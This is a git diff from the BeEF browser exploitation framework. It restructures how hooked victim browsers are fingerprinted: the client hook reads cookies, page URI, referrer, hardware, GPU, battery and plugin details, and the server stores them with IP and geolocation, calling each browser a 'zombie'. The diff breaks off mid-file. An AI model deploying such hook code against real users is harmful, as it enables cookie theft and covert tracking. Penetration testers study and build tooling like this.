diff --git a/core/bootstrap.rb b/core/bootstrap.rb
index 051612715..9be4b48b6 100644
--- a/core/bootstrap.rb
+++ b/core/bootstrap.rb
@@ -45,6 +45,7 @@ require 'core/hbmanager'
## @note Include RESTful API
require 'core/main/rest/handlers/hookedbrowsers'
+require 'core/main/rest/handlers/browserdetails'
require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
diff --git a/core/filters/browser.rb b/core/filters/browser.rb
index ec3926c95..051eb497a 100644
--- a/core/filters/browser.rb
+++ b/core/filters/browser.rb
@@ -93,26 +93,6 @@ module Filters
true
end
- # Verify the screen size is valid
- # @param [String] str String for testing
- # @return [Boolean] If the string has valid screen size characters
- def self.is_valid_screen_size?(str)
- return false unless is_non_empty_string?(str)
- return false if has_non_printable_char?(str)
- return false if str.length > 200
- true
- end
-
- # Verify the window size is valid
- # @param [String] str String for testing
- # @return [Boolean] If the string has valid window size characters
- def self.is_valid_window_size?(str)
- return false unless is_non_empty_string?(str)
- return false if has_non_printable_char?(str)
- return false if str.length > 200
- true
- end
-
# Verify the system platform is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid system platform characters
@@ -143,6 +123,26 @@ module Filters
true
end
+ # Verify the memory string is valid
+ # @param [String] str String for testing
+ # @return [Boolean] If the string has valid memory type characters
+ def self.is_valid_memory?(str)
+ return false unless is_non_empty_string?(str)
+ return false if has_non_printable_char?(str)
+ return false if str.length > 200
+ true
+ end
+
+ # Verify the GPU type string is valid
+ # @param [String] str String for testing
+ # @return [Boolean] If the string has valid GPU type characters
+ def self.is_valid_gpu?(str)
+ return false unless is_non_empty_string?(str)
+ return false if has_non_printable_char?(str)
+ return false if str.length > 200
+ true
+ end
+
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters
diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index 6339c3dd3..9a30a27b7 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -4214,28 +4214,42 @@ beef.browser = {
var browser_reported_name = beef.browser.getBrowserReportedName();
var browser_language = beef.browser.getBrowserLanguage();
var page_title = (document.title) ? document.title : "Unknown";
+ var origin = (window.origin) ? window.origin : "Unknown";
var page_uri = (document.location.href) ? document.location.href : "Unknown";
var page_referrer = (document.referrer) ? document.referrer : "Unknown";
- var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
+ var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
+ var default_port = "";
switch (document.location.protocol) {
case "http:":
var default_port = "80";
break;
case "https:":
var default_port = "443";
- break
- default:
- var default_port = "";
+ break;
}
- var hostport = (document.location.port) ? document.location.port : default_port;
+ var page_hostport = (document.location.port) ? document.location.port : default_port;
var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString();
var os_name = beef.os.getName();
var os_version = beef.os.getVersion();
+ var os_arch = beef.os.getArch();
var default_browser = beef.os.getDefaultBrowser();
- var hw_name = beef.hardware.getName();
+ var hw_type = beef.hardware.getName();
+ var battery_details = beef.hardware.getBatteryDetails();
+ try {
+ var battery_charging_status = battery_details.chargingStatus;
+ var battery_level = battery_details.batteryLevel;
+ var battery_charging_time = battery_details.chargingTime;
+ var battery_discharging_time = battery_details.dischargingTime;
+ } catch(e) {}
+ var memory = beef.hardware.getMemory();
var cpu_arch = beef.hardware.getCpuArch();
var cpu_cores = beef.hardware.getCpuCores();
+ var gpu_details = beef.hardware.getGpuDetails();
+ try {
+ var gpu = gpu_details.gpu;
+ var gpu_vendor = gpu_details.vendor;
+ } catch(e) {}
var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
@@ -4244,7 +4258,16 @@ beef.browser = {
else return undefined;
});
var screen_size = beef.hardware.getScreenSize();
+ try {
+ var screen_width = screen_size.width;
+ var screen_height = screen_size.height;
+ var screen_colordepth = screen_size.colordepth;
+ } catch(e) {}
var window_size = beef.browser.getWindowSize();
+ try {
+ window_width = window_size.width;
+ window_height = window_size.height;
+ } catch(e) {}
var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
@@ -4257,50 +4280,72 @@ beef.browser = {
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
+ var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
+
try {
var cookies = document.cookie;
/* Never stop the madness dear C.
* var veglol = beef.browser.cookie.veganLol();
*/
- if (cookies) details['Cookies'] = cookies;
+ if (cookies) details['browser.window.cookies'] = cookies;
} catch (e) {
- details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
+ beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
+ details['browser.window.cookies'] = '';
}
- if (browser_name) details['BrowserName'] = browser_name;
- if (browser_version) details['BrowserVersion'] = browser_version;
- if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
- if (browser_language) details['BrowserLanguage'] = browser_language;
- if (page_title) details['PageTitle'] = page_title;
- if (page_uri) details['PageURI'] = page_uri;
- if (page_referrer) details['PageReferrer'] = page_referrer;
- if (hostname) details['HostName'] = hostname;
- if (hostport) details['HostPort'] = hostport;
- if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
- if (os_name) details['OsName'] = os_name;
- if (os_version) details['OsVersion'] = os_version;
- if (default_browser) details['DefaultBrowser'] = default_browser;
- if (hw_name) details['Hardware'] = hw_name;
- if (cpu_arch) details['CpuArch'] = cpu_arch;
- if (cpu_cores) details['CpuCores'] = cpu_cores;
- if (touch_enabled) details['TouchEnabled'] = touch_enabled;
- if (date_stamp) details['DateStamp'] = date_stamp;
- if (browser_platform) details['BrowserPlatform'] = browser_platform;
- if (browser_type) details['BrowserType'] = browser_type;
- if (screen_size) details['ScreenSize'] = screen_size;
- if (window_size) details['WindowSize'] = window_size;
- if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
- if (has_flash) details['HasFlash'] = has_flash;
- if (has_phonegap) details['HasPhonegap'] = has_phonegap;
- if (has_web_socket) details['HasWebSocket'] = has_web_socket;
- if (has_web_worker) details['HasWebWorker'] = has_web_worker;
- if (has_web_gl) details['HasWebGL'] = has_web_gl;
- if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
- if (has_webrtc) details['HasWebRTC'] = has_webrtc;
- if (has_activex) details['HasActiveX'] = has_activex;
- if (has_quicktime) details['HasQuickTime'] = has_quicktime;
- if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
- if (has_wmp) details['HasWMP'] = has_wmp;
+ if (browser_type) details['browser.type'] = browser_type;
+ if (browser_name) details['browser.name'] = browser_name;
+ if (browser_version) details['browser.version'] = browser_version;
+ if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
+ if (browser_platform) details['browser.platform'] = browser_platform;
+ if (browser_language) details['browser.language'] = browser_language;
+ if (page_title) details['browser.window.title'] = page_title;
+ if (origin) details['browser.window.origin'] = origin;
+ if (page_hostname) details['browser.window.hostname'] = page_hostname;
+ if (page_hostport) details['browser.window.hostport'] = page_hostport;
+ if (page_uri) details['browser.window.uri'] = page_uri;
+ if (page_referrer) details['browser.window.referrer'] = page_referrer;
+ if (window_width) details['browser.window.size.width'] = window_width;
+ if (window_height) details['browser.window.size.height'] = window_height;
+ if (browser_plugins) details['browser.plugins'] = browser_plugins;
+ if (date_stamp) details['browser.date.datestamp'] = date_stamp;
+
+ if (os_name) details['host.os.name'] = os_name;
+ if (os_version) details['host.os.version'] = os_version;
+ if (os_arch) details['host.os.arch'] = os_arch;
+
+ if (default_browser) details['host.software.defaultbrowser'] = default_browser;
+
+ if (hw_type) details['hardware.type'] = hw_type;
+ if (memory) details['hardware.memory'] = memory;
+ if (gpu) details['hardware.gpu'] = gpu;
+ if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
+ if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
+ if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;
+
+ if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
+ if (battery_level) details['hardware.battery.level'] = battery_level;
+ if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
+ if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;
+
+ if (screen_width) details['hardware.screen.size.width'] = screen_width;
+ if (screen_height) details['hardware.screen.size.height'] = screen_height;
+ if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
+ if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;
+
+ if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
+ if (has_flash) details['browser.capabilities.flash'] = has_flash;
+ if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
+ if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
+ if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
+ if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
+ if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
+ if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
+ if (has_activex) details['browser.capabilities.activex'] = has_activex;
+ if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
+ if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
+ if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
+ if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
var pf_integration = "<%= @phishing_frenzy_enable %>";
if (pf_integration) {
diff --git a/core/main/client/os.js b/core/main/client/os.js
index 52ced7e6d..2caaefb99 100644
--- a/core/main/client/os.js
+++ b/core/main/client/os.js
@@ -212,6 +212,10 @@ beef.os = {
return 'unknown';
},
+ getArch: function() {
+ return 'unknown';
+ },
+
getVersion: function(){
//Windows
if(this.isWindows()) {
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index 0c3004dda..2d59b39fe 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -37,13 +37,13 @@ module BeEF
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
zombie.firstseen = Time.new.to_i
- # hostname
+ # hooked window host name
log_zombie_port = 0
- if not @data['results']['HostName'].nil? then
- log_zombie_domain=@data['results']['HostName']
+ if not @data['results']['browser.window.hostname'].nil?
+ log_zombie_domain = @data['results']['browser.window.hostname']
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
referer = @data['request'].referer
- if referer.start_with?("https://") then
+ if referer.start_with?("https://")
log_zombie_port = 443
else
log_zombie_port = 80
@@ -53,9 +53,9 @@ module BeEF
log_zombie_domain="unknown" # Probably local file open
end
- # port
- if not @data['results']['HostPort'].nil? then
- log_zombie_port=@data['results']['HostPort']
+ # hooked window host port
+ if not @data['results']['browser.window.hostport'].nil?
+ log_zombie_port = @data['results']['browser.window.hostport']
else
log_zombie_domain_parts=log_zombie_domain.split(':')
if log_zombie_domain_parts.length > 1 then
@@ -78,31 +78,40 @@ module BeEF
# add a log entry for the newly hooked browser
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
+
# get and store browser name
- browser_name = get_param(@data['results'], 'BrowserName')
+ browser_name = get_param(@data['results'], 'browser.name')
if BeEF::Filters.is_valid_browsername?(browser_name)
- BD.set(session_id, 'BrowserName', browser_name)
+ BD.set(session_id, 'browser.name', browser_name)
+
+ # lookup and store browser friendly name
+ browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
+ BD.set(session_id, 'browser.name.friendly', browser_friendly_name)
else
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
end
+ if BeEF::Filters.is_valid_ip?(zombie.ip)
+ BD.set(session_id, 'host.ipaddress', zombie.ip)
+ else
+ self.err_msg "Invalid IP address returned from the hook browser's initial connection."
+ end
+
# lookup zombie host name
- ip_str = zombie.ip
if config.get('beef.dns_hostname_lookup')
begin
host_name = Resolv.getname(zombie.ip).to_s
if BeEF::Filters.is_valid_hostname?(host_name)
- ip_str += " [#{host_name}]"
+ BD.set(session_id, 'host.name', host_name)
end
rescue
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
end
end
- BD.set(session_id, 'IP', ip_str)
# geolocation
- BD.set(session_id, 'LocationCity', 'Unknown')
- BD.set(session_id, 'LocationCountry', 'Unknown')
+ BD.set(session_id, 'location.city', 'Unknown')
+ BD.set(session_id, 'location.country', 'Unknown')
if BeEF::Core::GeoIp.instance.enabled?
geoip = BeEF::Core::GeoIp.instance.lookup(zombie.ip)
if geoip.nil?
@@ -112,44 +121,44 @@ module BeEF
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
BD.set(
session_id,
- 'LocationCity',
+ 'location.city',
"#{geoip['city']['names']['en'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationCountry',
+ 'location.country',
"#{geoip['country']['names']['en'] rescue 'Unknown' }")
BD.set(
session_id,
- 'LocationCountryIsoCode',
- "#{geoip['country']['iso_code'] rescue ''}")
+ 'location.country.isocode',
+ "#{geoip['country']['iso_code'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationRegisteredCountry',
- "#{geoip['registered_country']['names']['en'] rescue ''}")
+ 'location.country.registered_country',
+ "#{geoip['registered_country']['names']['en'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationRegisteredCountryIsoCode',
- "#{geoip['registered_country']['iso_code'] rescue ''}")
+ 'location.country.registered_country.isocode',
+ "#{geoip['registered_country']['iso_code'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationContinent',
- "#{geoip['continent']['names']['en'] rescue ''}")
+ 'location.continent',
+ "#{geoip['continent']['names']['en'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationContinentCode',
- "#{geoip['continent']['code'] rescue ''}")
+ 'location.continent.code',
+ "#{geoip['continent']['code'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationLatitude',
- "#{geoip['location']['latitude'] rescue ''}")
+ 'location.latitude',
+ "#{geoip['location']['latitude'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationLongitude',
- "#{geoip['location']['longitude'] rescue ''}")
+ 'location.longitude',
+ "#{geoip['location']['longitude'] rescue 'Unknown'}")
BD.set(
session_id,
- 'LocationTimeZone',
- "#{geoip['location']['time_zone'] rescue ''}")
+ 'location.timezone',
+ "#{geoip['location']['time_zone'] rescue 'Unknown'}")
end
end
@@ -210,144 +219,201 @@ module BeEF
end
# get and store browser version
- browser_version = get_param(@data['results'], 'BrowserVersion')
+ browser_version = get_param(@data['results'], 'browser.version')
if BeEF::Filters.is_valid_browserversion?(browser_version)
- BD.set(session_id, 'BrowserVersion', browser_version)
+ BD.set(session_id, 'browser.version', browser_version)
else
self.err_msg "Invalid browser version returned from the hook browser's initial connection."
end
# get and store browser string
- browser_string = get_param(@data['results'], 'BrowserReportedName')
+ browser_string = get_param(@data['results'], 'browser.name.reported')
if BeEF::Filters.is_valid_browserstring?(browser_string)
- BD.set(session_id, 'BrowserReportedName', browser_string)
+ BD.set(session_id, 'browser.name.reported', browser_string)
else
- self.err_msg "Invalid browser string returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'browser.name.reported' returned from the hook browser's initial connection."
end
# get and store browser language
- browser_lang = get_param(@data['results'], 'BrowserLanguage')
- BD.set(session_id, 'BrowserLanguage', browser_lang)
+ browser_lang = get_param(@data['results'], 'browser.language')
+ BD.set(session_id, 'browser.language', browser_lang)
# get and store the cookies
- cookies = get_param(@data['results'], 'Cookies')
+ cookies = get_param(@data['results'], 'browser.window.cookies')
if BeEF::Filters.is_valid_cookies?(cookies)
- BD.set(session_id, 'Cookies', cookies)
+ BD.set(session_id, 'browser.window.cookies', cookies)
else
self.err_msg "Invalid cookies returned from the hook browser's initial connection."
end
# get and store the OS name
- os_name = get_param(@data['results'], 'OsName')
+ os_name = get_param(@data['results'], 'host.os.name')
if BeEF::Filters.is_valid_osname?(os_name)
- BD.set(session_id, 'OsName', os_name)
+ BD.set(session_id, 'host.os.name', os_name)
else
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
- # get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd)
- os_version = get_param(@data['results'], 'OsVersion')
- BD.set(session_id, 'OsVersion', os_version)
+ # get and store the OS version
+ # - without checks as it can be very different, for instance on linux/bsd)
+ os_version = get_param(@data['results'], 'host.os.version')
+ BD.set(session_id, 'host.os.version', os_version)
+
+ # get and store the OS arch - without checks
+ os_arch = get_param(@data['results'], 'host.os.arch')
+ BD.set(session_id, 'host.os.arch', os_arch)
# get and store default browser
- default_browser = get_param(@data['results'], 'DefaultBrowser')
- BD.set(session_id, 'DefaultBrowser', default_browser)
+ default_browser = get_param(@data['results'], 'host.software.defaultbrowser')
+ BD.set(session_id, 'host.software.defaultbrowser', default_browser)
- # get and store the hardware name
- hw_name = get_param(@data['results'], 'Hardware')
- if BeEF::Filters.is_valid_hwname?(hw_name)
- BD.set(session_id, 'Hardware', hw_name)
+ # get and store the hardware type
+ hw_type = get_param(@data['results'], 'hardware.type')
+ if BeEF::Filters.is_valid_hwname?(hw_type)
+ BD.set(session_id, 'hardware.type', hw_type)
else
- self.err_msg "Invalid hardware name returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'hardware.type' returned from the hook browser's initial connection."
end
# get and store the date
- date_stamp = get_param(@data['results'], 'DateStamp')
+ date_stamp = get_param(@data['results'], 'browser.date.datestamp')
if BeEF::Filters.is_valid_date_stamp?(date_stamp)
- BD.set(session_id, 'DateStamp', date_stamp)
+ BD.set(session_id, 'browser.date.datestamp', date_stamp)
else
self.err_msg "Invalid date returned from the hook browser's initial connection."
end
# get and store page title
- page_title = get_param(@data['results'], 'PageTitle')
+ page_title = get_param(@data['results'], 'browser.window.title')
if BeEF::Filters.is_valid_pagetitle?(page_title)
- BD.set(session_id, 'PageTitle', page_title)
+ BD.set(session_id, 'browser.window.title', page_title)
else
- self.err_msg "Invalid page title returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'browser.window.title' returned from the hook browser's initial connection."
+ end
+
+ # get and store page origin
+ origin = get_param(@data['results'], 'browser.window.origin')
+ if BeEF::Filters.is_valid_url?(origin)
+ BD.set(session_id, 'browser.window.origin', origin)
+ else
+ self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
end
# get and store page uri
- page_uri = get_param(@data['results'], 'PageURI')
+ page_uri = get_param(@data['results'], 'browser.window.uri')
if BeEF::Filters.is_valid_url?(page_uri)
- BD.set(session_id, 'PageURI', page_uri)
+ BD.set(session_id, 'browser.window.uri', page_uri)
else
- self.err_msg "Invalid page URL returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'browser.window.uri' returned from the hook browser's initial connection."
end
# get and store the page referrer
- page_referrer = get_param(@data['results'], 'PageReferrer')
+ page_referrer = get_param(@data['results'], 'browser.window.referrer')
if BeEF::Filters.is_valid_pagereferrer?(page_referrer)
- BD.set(session_id, 'PageReferrer', page_referrer)
+ BD.set(session_id, 'browser.window.referrer', page_referrer)
else
- self.err_msg "Invalid page referrer returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'browser.window.referrer' returned from the hook browser's initial connection."
end
- # get and store hostname
- host_name = get_param(@data['results'], 'HostName')
+ # get and store hooked window host port
+ host_name = get_param(@data['results'], 'browser.window.hostname')
if BeEF::Filters.is_valid_hostname?(host_name)
- BD.set(session_id, 'HostName', host_name)
+ BD.set(session_id, 'browser.window.hostname', host_name)
else
- self.err_msg "Invalid host name returned from the hook browser's initial connection."
+ self.err_msg "Invalid valid for 'browser.window.hostname' returned from the hook browser's initial connection."
+ end
+
+ # get and store hooked window host port
+ host_port = get_param(@data['results'], 'browser.window.hostport')
+ if BeEF::Filters.is_valid_port?(host_port)
+ BD.set(session_id, 'browser.window.hostport', host_port)
+ else
+ self.err_msg "Invalid valid for 'browser.window.hostport' returned from the hook browser's initial connection."
end
# get and store the browser plugins
- browser_plugins = get_param(@data['results'], 'BrowserPlugins')
+ browser_plugins = get_param(@data['results'], 'browser.plugins')
if BeEF::Filters.is_valid_browser_plugins?(browser_plugins)
- BD.set(session_id, 'BrowserPlugins', browser_plugins)
+ BD.set(session_id, 'browser.plugins', browser_plugins)
else
self.err_msg "Invalid browser plugins returned from the hook browser's initial connection."
end
# get and store the system platform
- system_platform = get_param(@data['results'], 'BrowserPlatform')
+ system_platform = get_param(@data['results'], 'browser.platform')
if BeEF::Filters.is_valid_system_platform?(system_platform)
- BD.set(session_id, 'BrowserPlatform', system_platform)
+ BD.set(session_id, 'browser.platform', system_platform)
else
self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
end
# get and store the hooked browser type
- browser_type = get_param(@data['results'], 'BrowserType')
+ browser_type = get_param(@data['results'], 'browser.type')
if BeEF::Filters.is_valid_browsertype?(browser_type)
- BD.set(session_id, 'BrowserType', browser_type)
+ BD.set(session_id, 'browser.type', browser_type)
else
self.err_msg "Invalid hooked browser type returned from the hook browser's initial connection."
end
- # get and store the zombie screen size and color depth
- screen_size = get_param(@data['results'], 'ScreenSize')
- if BeEF::Filters.is_valid_screen_size?(screen_size)
- BD.set(session_id, 'ScreenSize', screen_size)
+ # get and store the zombie screen color depth
+ screen_colordepth = get_param(@data['results'], 'hardware.screen.colordepth')
+ if BeEF::Filters.nums_only?(screen_colordepth)
+ BD.set(session_id, 'hardware.screen.colordepth', screen_colordepth)
else
- self.err_msg "Invalid screen size returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'hardware.screen.colordepth' returned from the hook browser's initial connection."
end
- # get and store the window size
- window_size = get_param(@data['results'], 'WindowSize')
- if BeEF::Filters.is_valid_window_size?(window_size)
- BD.set(session_id, 'WindowSize', window_size)
+ # get and store the zombie screen width
+ screen_size_width = get_param(@data['results'], 'hardware.screen.size.width')
+ if BeEF::Filters.nums_only?(screen_size_width)
+ BD.set(session_id, 'hardware.screen.size.width', screen_size_width)
else
- self.err_msg "Invalid window size returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'hardware.screen.size.width' returned from the hook browser's initial connection."
end
- # get and store the yes|no value for browser components
- components = [
- 'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
- 'HasWebSocket', 'HasWebWorker', 'HasWebGL', 'HasWebRTC', 'HasActiveX',
- 'HasQuickTime', 'HasRealPlayer', 'HasWMP'
+ # get and store the zombie screen height
+ screen_size_height = get_param(@data['results'], 'hardware.screen.size.height')
+ if BeEF::Filters.nums_only?(screen_size_height)
+ BD.set(session_id, 'hardware.screen.size.height', screen_size_height)
+ else
+ self.err_msg "Invalid value for 'hardware.screen.size.height' returned from the hook browser's initial connection."
+ end
+
+
+ # get and store the window height
+ window_height = get_param(@data['results'], 'browser.window.size.height')
+ if BeEF::Filters.nums_only?(window_height)
+ BD.set(session_id, 'browser.window.size.height', window_height)
+ else
+ self.err_msg "Invalid value for 'browser.window.size.height' returned from the hook browser's initial connection."
+ end
+
+ # get and store the window width
+ window_width = get_param(@data['results'], 'browser.window.size.width')
+ if BeEF::Filters.nums_only?(window_width)
+ BD.set(session_id, 'browser.window.size.width', window_width)
+ else
+ self.err_msg "Invalid value for 'browser.window.size.width' returned from the hook browser's initial connection."
+ end
+
+ # get and store the yes|no value for browser capabilities
+ capabilities = [
+ 'browser.capabilities.vbscript',
+ # 'browser.capabilities.java',
+ 'browser.capabilities.flash',
+ 'browser.capabilities.phonegap',
+ 'browser.capabilities.googlegears',
+ 'browser.capabilities.activex',
+ 'browser.capabilities.quicktime',
+ 'browser.capabilities.realplayer',
+ 'browser.capabilities.wmp',
+ 'browser.capabilities.vlc',
+ 'browser.capabilities.webworker',
+ 'browser.capabilities.websocket',
+ 'browser.capabilities.webgl',
+ 'browser.capabilities.webrtc',
]
- components.each do |k|
+ capabilities.each do |k|
v = get_param(@data['results'], k)
if BeEF::Filters.is_valid_yes_no?(v)
BD.set(session_id, k, v)
@@ -356,28 +422,60 @@ module BeEF
end
end
- # get and store the value for CpuArch
- cpu_arch = get_param(@data['results'], 'CpuArch')
+ # get and store the value for hardware.memory
+ memory = get_param(@data['results'], 'hardware.memory')
+ if BeEF::Filters.is_valid_memory?(memory)
+ BD.set(session_id, 'hardware.memory', memory)
+ else
+ self.err_msg "Invalid value for 'hardware.memory' returned from the hook browser's initial connection."
+ end
+
+ # get and store the value for hardware.gpu
+ gpu = get_param(@data['results'], 'hardware.gpu')
+ if BeEF::Filters.is_valid_gpu?(gpu)
+ BD.set(session_id, 'hardware.gpu', gpu)
+ else
+ self.err_msg "Invalid value for 'hardware.gpu' returned from the hook browser's initial connection."
+ end
+
+ # get and store the value for hardware.gpu.vendor
+ gpu_vendor = get_param(@data['results'], 'hardware.gpu.vendor')
+ if BeEF::Filters.is_valid_gpu?(gpu_vendor)
+ BD.set(session_id, 'hardware.gpu.vendor', gpu_vendor)
+ else
+ self.err_msg "Invalid value for 'hardware.gpu.vendor' returned from the hook browser's initial connection."
+ end
+
+ # get and store the value for hardware.cpu.arch
+ cpu_arch = get_param(@data['results'], 'hardware.cpu.arch')
if BeEF::Filters.is_valid_cpu?(cpu_arch)
- BD.set(session_id, 'CpuArch', cpu_arch)
+ BD.set(session_id, 'hardware.cpu.arch', cpu_arch)
else
- self.err_msg "Invalid value for CpuArch returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'hardware.cpu.arch' returned from the hook browser's initial connection."
end
- # get and store the value for CpuCores
- cpu_cores = get_param(@data['results'], 'CpuCores')
+ # get and store the value for hardware.cpu.cores
+ cpu_cores = get_param(@data['results'], 'hardware.cpu.cores')
if BeEF::Filters.alphanums_only?(cpu_cores)
- BD.set(session_id, 'CpuCores', cpu_cores)
+ BD.set(session_id, 'hardware.cpu.cores', cpu_cores)
else
- self.err_msg "Invalid value for CpuCores returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'hardware.cpu.cores' returned from the hook browser's initial connection."
end
- # get and store the value for TouchEnabled
- touch_enabled = get_param(@data['results'], 'TouchEnabled')
- if BeEF::Filters.is_valid_yes_no?(touch_enabled)
- BD.set(session_id, 'TouchEnabled', touch_enabled)
+ # get and store the value for hardware.battery.level
+ battery_level = get_param(@data['results'], 'hardware.battery.level')
+ if battery_level == 'unknown' || battery_level =~ /\A[\d\.]+%\z/
+ BD.set(session_id, 'hardware.battery.level', battery_level)
else
- self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
+ self.err_msg "Invalid value for 'hardware.battery.level' returned from the hook browser's initial connection."
+ end
+
+ # get and store the value for hardware.screen.touchenabled
+ touch_enabled = get_param(@data['results'], 'hardware.screen.touchenabled')
+ if BeEF::Filters.is_valid_yes_no?(touch_enabled)
+ BD.set(session_id, 'hardware.screen.touchenabled', touch_enabled)
+ else
+ self.err_msg "Invalid value for hardware.screen.touchenabled returned from the hook browser's initial connection."
end
if config.get('beef.integration.phishing_frenzy.enable')
@@ -397,7 +495,7 @@ module BeEF
# add localhost as network host
if config.get('beef.extension.network.enable')
print_debug("Hooked browser has network interface 127.0.0.1")
- BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'))
+ BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'host.os.name'))
end
# check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel
diff --git a/core/main/models/browserdetails.rb b/core/main/models/browserdetails.rb
index 83d30178a..cb4f1c4f9 100644
--- a/core/main/models/browserdetails.rb
+++ b/core/main/models/browserdetails.rb
@@ -48,6 +48,7 @@ module Models
else
# update the browser details key/value
result = browserdetails.update(:detail_value => detail_value || '')
+ print_debug "Browser has updated '#{detail_key}' to '#{detail_value}'"
end
# if the attempt to save the browser details fails return a bad request
diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb
index 4854352cb..361fe8205 100644
--- a/core/main/network_stack/websocket/websocket.rb
+++ b/core/main/network_stack/websocket/websocket.rb
@@ -115,10 +115,10 @@ module BeEF
next
end
- browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserName')
- browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserVersion')
- os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsName')
- os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsVersion')
+ browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name')
+ browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version')
+ os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name')
+ os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version')
BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version)
next
diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb
index fb1646d41..c68c4c311 100644
--- a/core/main/rest/api.rb
